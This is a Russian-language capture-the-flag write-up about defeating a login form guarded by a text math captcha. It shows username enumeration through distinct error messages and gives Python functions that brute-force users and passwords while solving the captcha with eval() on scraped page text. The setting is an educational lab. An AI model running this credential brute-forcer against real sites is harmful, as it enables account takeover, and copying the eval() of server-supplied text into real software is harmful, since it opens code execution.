Введение

Этот челлендж заключается в обходе формы входа, плохо разработанной с помощью математической капчи. Вам нужно будет приложить свои навыки программирования, чтобы написать индивидуальный брутфорсер и получить флаг!

Начальные шаги

Как следует из задачи 2, нам нужно обойти форму входа, поэтому мы не будем выполнять какие-либо перечисления на хосте.

Начнем с загрузки файлов задач. Нам дали два файла: usernames.txt и passwords.txt. Интуитивно мы можем предположить, что это списки слов, необходимые для поиска действительных учетных данных в приложении.

Нам дали 878 имен пользователей и 1567 паролей, как мы можем видеть на двух изображениях ниже.

Чтобы убедиться, что мы находим действительные учетные данные, можно было бы попробовать все пары имени пользователя и пароля, но это занимает много времени. Поскольку это декартово произведение, общее количество пар равно: 1 375 826. Если серверу требуется в среднем 100 мс на запрос, эта атака займет примерно 38 часов, что очень много времени.

Анализ приложения

Заходя на предоставленную машину, мы получаем эту страницу:

Давайте попробуем использовать случайное имя пользователя, чтобы проверить, можем ли мы перечислить имена пользователей:

Как мы видим, приложение уязвимо к перебору имени пользователя. Эта уязвимость имеет решающее значение для времени выполнения нашей атаки, поскольку мы можем значительно сократить количество попыток.

Первоначально мы будем использовать BurpSuite Intruder для перечисления пользователей, выбрав атаку Снайпер, используя список имен пользователей в качестве полезной нагрузки.

После настройки просто нажмите «Начать атаку» и следите за запросами.

Как и ожидалось, есть капча после нескольких неправильных попыток входа в систему.

Эта капча представляет собой математическое выражение в текстовом виде. Итак, мы можем легко автоматизировать это с помощью небольшого программирования.

Для каждого имени пользователя сделайте запрос с именем пользователя и проверьте ответ. Вы можете получать 4 типа сообщений:

1 — пользователь не существует;

2 — капча включена;

3 — Неверная капча;

4 — неверный пароль;

Если ни одно из этих сообщений выше не получено, значит, вы нашли правильные учетные данные.

Кодирование перечисления пользователей

Помимо пользователя и пароля, нам также нужно решить капчу, это легко сделать с помощью функции Python eval.

Проверяя веб-страницу, содержащую капчу, мы можем извлечь полный XPath выражения капчи.

Давайте установим некоторые константы, импортируем некоторые модули и прочитаем файлы.

import requests
from lxml import html
import threading
from math import sqrt

IP = "10.10.152.199"
PORT = "80"

captcha_detect = "Captcha enabled"
captcha_xpath = "/html/body/div[1]/form/text()"
invalid_captcha = "Invalid captcha"

session = requests.session()

with open("usernames.txt") as users:
    usernames = [x.strip() for x in users.readlines()]

with open("passwords.txt") as passwds:
    passwords = [x.strip() for x in passwds.readlines()]

Используя расширение Burp Копировать как Python-запросы, мы можем легко извлечь параметры HTTP-запроса в код Python.

Функция ниже отвечает за перечисление пользователей. Закомментированный раздел «обнаруживает капчу», извлекает выражение капчи, оценивает его и отправляет в качестве параметра POST.

Если сообщение об ошибке не найдено в ответе, значит, пользователь действителен.

def enumerate_user(user, pw, captcha=""):
    burp0_url = f"http://{IP}:{PORT}/login"
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{IP}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"http://{IP}/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9,pt-BR;q=0.8,pt;q=0.7", "Connection": "close"}
    burp0_data = {"username": user, "password": pw}
    if captcha != "":
        burp0_data["captcha"] = captcha
    response = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
    # detects captcha
    if captcha_detect in response.text and captcha == "" or invalid_captcha in response.text:
        tree = html.fromstring(response.content)
        challenge = tree.xpath(captcha_xpath)
        for e in challenge:
            if "= ?" in e:
                return enumerate_user(user, pw, str(eval(e.strip().split("= ?")[0])))
    # detect valid user
    error = f"The user '{user}' does not exist"
    if error not in response.text:
        print(user, flush=True)
        return True
    return False

Брут-форс допустимого пользователя

def login(user, pw, captcha=""):
    burp0_url = f"http://{IP}:{PORT}/login"
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{IP}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"http://{IP}/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9,pt-BR;q=0.8,pt;q=0.7", "Connection": "close"}
    burp0_data = {"username": user, "password": pw}
    if captcha != "":
        burp0_data["captcha"] = captcha
    response = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
    # detects captcha
    if captcha_detect in response.text and captcha == "" or invalid_captcha in response.text:
        tree = html.fromstring(response.content)
        challenge = tree.xpath(captcha_xpath)
        for e in challenge:
            if "= ?" in e:
                return login(user, pw, str(eval(e.strip().split("= ?")[0])))
    # detect successful login
    invalid = f"Invalid password for user '{user}'"
    return invalid not in response.text

Запустив эту функцию выше для действительных пользователей и используя ту же логику для проверки, мы можем найти действительные учетные данные и получить флаг, потому что единственная разница в том, что мы получим неверные попытки ввода пароля.

Теперь у вас есть функция enumerate_users и функция входа в систему. Я оставил для вас упражнение, чтобы соединить эти фрагменты кода и обойти форму входа.